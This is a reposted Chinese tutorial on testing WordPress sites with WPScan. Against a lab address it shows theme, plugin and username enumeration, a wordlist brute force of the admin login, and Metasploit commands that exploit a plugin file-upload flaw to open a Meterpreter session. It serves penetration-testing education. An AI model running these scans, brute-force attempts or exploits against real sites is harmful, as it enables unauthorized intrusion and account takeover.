转载自FreeBuf.COM

严正声明:本文仅限于技术探讨,严禁用于其他目的。

写在前面的话

在这篇文章中,我将告诉大家如何使用WPScan来对WordPress站点进行安全测试。

WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。

接下来,让我们进入正题…

工具安装与运行

Kali Linux默认自带了WPScan,你也可以使用下列命令在自己的设备中安装WPScan:

git clone https://github.com/wpscanteam/wpscan.git

切换到WPScan目录中,运行下列命令查看帮助信息:

./wpscan.rb–h

你也可以使用以下命令更新漏洞库:

wpscan -update

扫描WordPress站点

我们可以使用–enumerate选项来扫描并发现关于目标站点主题、插件和用户名信息。输入下列命令开始对服务器进行扫描:

./wpscan.rb –u http://192.168.0.101/wordpress/

如果你不知道目标服务器的IP地址,你可以直接输入URL地址。下面给出的是扫描结果:

从结果中可以看到,服务器信息为Apache/2.4.6,PHP /5.5.9,WordPress v4.8.1。我们还发现,上传目录开启了目录监听功能,因此任何人都可以通过访问wp-content/uploads来查看目录中的上传内容。

主题扫描

使用下列命令对主题进行扫描:

./wpsca.rb –u http://192.168.0.101/wordpress --enumerate t

使用下列命令扫描主题中存在的漏洞:

./wpscan.rb -u http://192.168.0.101/wordpress/ --enumerate vt

插件扫描

插件可以扩展WordPress站点的功能,但很多插件中都存在安全漏洞,而这也会给攻击者提供可乘之机。

我们可以使用下列命令扫描WordPress站点中安装的插件:

./wpscan.rb -u http://192.168.0.101/wordpress/ --enumerate p

我们可以看到该网站中安装了Akismet v3.3.3,pixbay-images v2.14,wptouch v3.4.3以及很多其他的插件。

接下来,我们可以使用下列命令来扫描目标插件中的安全漏洞:

./wpscan.rb -u http://192.168.0.101/wordpress/ --enumerate vp

我们可以从扫描结果中看到这三款插件中存在的漏洞以及利用路径:

结合Metasploit利用插件中的漏洞

接下来,我们将用第一个插件中的任意文件上传漏洞来进行漏洞利用演示,该漏洞允许我们上传恶意文件并实现远程代码执行。

打开终端窗口并输入下列命令:

useexploit/unix/webapp/wp_reflexgallery_file_upload
msfexploit(wp_reflexgallery_file_upload) > set rhost 192.168.0.101
msfexploit(wp_reflexgallery_file_upload) > set targetURI /wordpress/
msfexploit(wp_reflexgallery_file_upload) > exploit

你将看到终端与目标设备建立了Meterpreter会话,你可以输入下列命令查看目标系统信息:

Sysinfo

枚举WordPress用户名

我们可以在终端中输入下列命令来枚举WordPress用户名:

./wpscan.rb -u http://192.168.0.101/wordpress/ --enumerate u

接下来工具将导出用户名数据表,你可以看到用户名以及对应的ID信息。

当然了,你也可以使用下列命令枚举出所有的内容:

./wpscan.rb -u http://192.168.0.101/wordpress/ -e at -e ap -e u
–e at : enumerate all themes of targeted website
–e ap: enumerate all plugins of targeted website
–e u: enumerate all usernames of targeted website

使用WPScan进行暴力破解

在进行暴力破解攻击之前,我们需要创建对应的字典文件。输入下列命令:

./wpscan.rb –u http://192.168.0.101/wordpress/ --wordlist /root/Desktop/dict.txt --usernameadmin

如果找到了相匹配的用户名与密码,工具将直接以admin:password的形式显示出来:

* 参考来源:hackmydevice,FB小编Alpha_h4ck编译,转载自FreeBuf.COM

WPScan使用完整攻略:如何对WordPress站点进行安全测试的更多相关文章

  1. 最新亚马逊 Coupons 功能设置教程完整攻略!

    最新亚马逊 Coupons 功能设置教程完整攻略! http://m.cifnews.com/app/postsinfo/18479 亚马逊总是有新的创意,新的功能.最近讨论很火的,就是这个 Coup ...

  2. android开发新浪微博客户端 完整攻略 [新手必读]

    开始接触学习android已经有3个礼拜了,一直都是对着android的sdk文档写Tutorials从Hello World到Notepad Tutorial算是初步入门了吧,刚好最近对微博感兴趣就 ...

  3. thinkphp 5.0整合phpsocketio完整攻略,绕坑

    使用环境: thinkphp5.0 项目需求 前端下单,后台接受,并立即做出提示.例如:美团外卖,客户端下单成功后,商家端就会立即有接单语音提示. 开发环境 thinkphp5.0 phpsocket ...

  4. 用CSS/CSS3 实现 水平居中和垂直居中的完整攻略

    水平居中:行内元素解决方案 只需要把行内元素包裹在一个属性display为block的父层元素中,并且把父层元素添加如下属性即可:   .parent { text-align:center; } 水 ...

  5. ArcGIS Server 10.0 安装及使用完整攻略

    引言 ArcGIS Server 10.0在使用和安装的过程中,需要进行比较全面的学习,才能正确使用.缺乏正确的指引,用户很容易在安装及使用中遇到问题.所以笔者在此总结Server 10.0的安装及使 ...

  6. 架构师小跟班:SSL证书免费申请及部署,解决页面样式错乱问题完整攻略

    申请证书 1.登录阿里云控制台,产品与服务,选择SSL证书 2.进入SSL证书页面,点击“购买证书”,选择免费1年的证书类型,点击“立即购买” 3.返回SSL证书页面,可以看到证书列表里多了一条记录 ...

  7. 虚拟机安装 Linux 最完整攻略

    工作中如果你是Linux运维,或者程序员,一定经常需要一个Linux的环境来让你折腾.这个时候使用虚拟机对我们来说是一个不错的选择. 虚拟化技术目前主要有两种:一.原生架构,这种虚拟机产品直接安装在计 ...

  8. OA系统从选型到实施完整攻略

    本文结合一线IT人士分享OA实施经验,单纯地讲述OA的选型与实施,为相关经验较少的IT人士提供真正的帮助. 一.如何选择OA系统 说起OA选型,稳定性.易用性.灵活性.成本和服务少不了.但是,只了解这 ...

  9. WordPress安全防护攻略

    个人近期做了一个WordPress站点,目前处于内测阶段,虽然公网还没部署起来,但是先在这学习整理一下安全防护的问题. 第一:及时更新WordPress 由于33%的互联网都在使用WordPress站 ...

随机推荐

  1. TreadPool

    ThreadPool概述 提供一个线程池,该线程池可用于执行任务.发送工作项.处理异步 I/O.代表其他线程等待以及处理计时器. 创建线程需要时间.如果有不同的小任务要完成,就可以事先创建许多线程/在 ...

  2. java后台表单字符串长度验证

    1.方法封装前提实体类属性去除首尾空白并进行反转义 //实体类属性的get方法 public String getContent() { if(!"".equals(字符串属性名) ...

  3. http响应Last-Modified和ETag

    http响应Last-Modified和ETag [日期:2008-06-16] 来源:  作者: [字体:大 中 小] 基础知识 1) 什么是”Last-Modified”? 在浏览器第一次请求某一 ...

  4. 2 使用unitest 模块扩展功能测试

    准备做一个 待办事项清单网站,来演示 Web 开发过程中的所有主要步骤.以及如何在各个步骤中运用TDD理念. ”功能测试“: 从用户的角度查看应用是如何运作的. 从某种程度上可以作为应用的说明书. 作 ...

  5. Activiti服务类- ManagementService服务类

    一共含有17个方法 // 获取包含了Activiti数据库模式的{表名.行计数}项的映射.Map<String, Long> getTableCount();//获取诸如任务.执行之类的A ...

  6. 参数类型 (Mapper.java)常用

    UserBaseInfo selectByMobile(@Param("mobile")String mobile,@Param("isDeleted")Int ...

  7. PHPCMS v9插件包整合

    插件包是已经修改好的文件集合,您可以直接将插件包复制到您的网站中. 注意:插件包会替换phpcms中的文件,如果您修改过phpcms中的文件请先备份好旧的文件. 1.下载插件包 2.解压 3.复制里面 ...

  8. socket编程和并发服务器

    socket这个词可以表示很多概念: 在TCP/IP协议中,“IP地址+TCP或UDP端口号”唯一标识网络通讯中的一个进程,“IP地址+端口号”就称为socket. 在TCP协议中,建立连接的两个进程 ...

  9. 解决MySQL5.7在MAC下登录ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)问题

    问题描述 今天在MAC上安装完MYSQL后,MYSQL默认给分配了一个默认密码,但当自己在终端上使用默认密码登录的时候,总会提示一个授权失败的错误:ERROR 1045 (28000): Access ...

  10. ZOJ 2592 Think Positive ——(xjbg)

    做法是,先求出前缀和pre.然后枚举端点i,[i+1,n]中pre最小的找出来,减去pre[i-1]大于0,这是第一个条件:第二个条件是,从i开始的后缀和和i之前的最小的一个pre相加大于0.只要满足 ...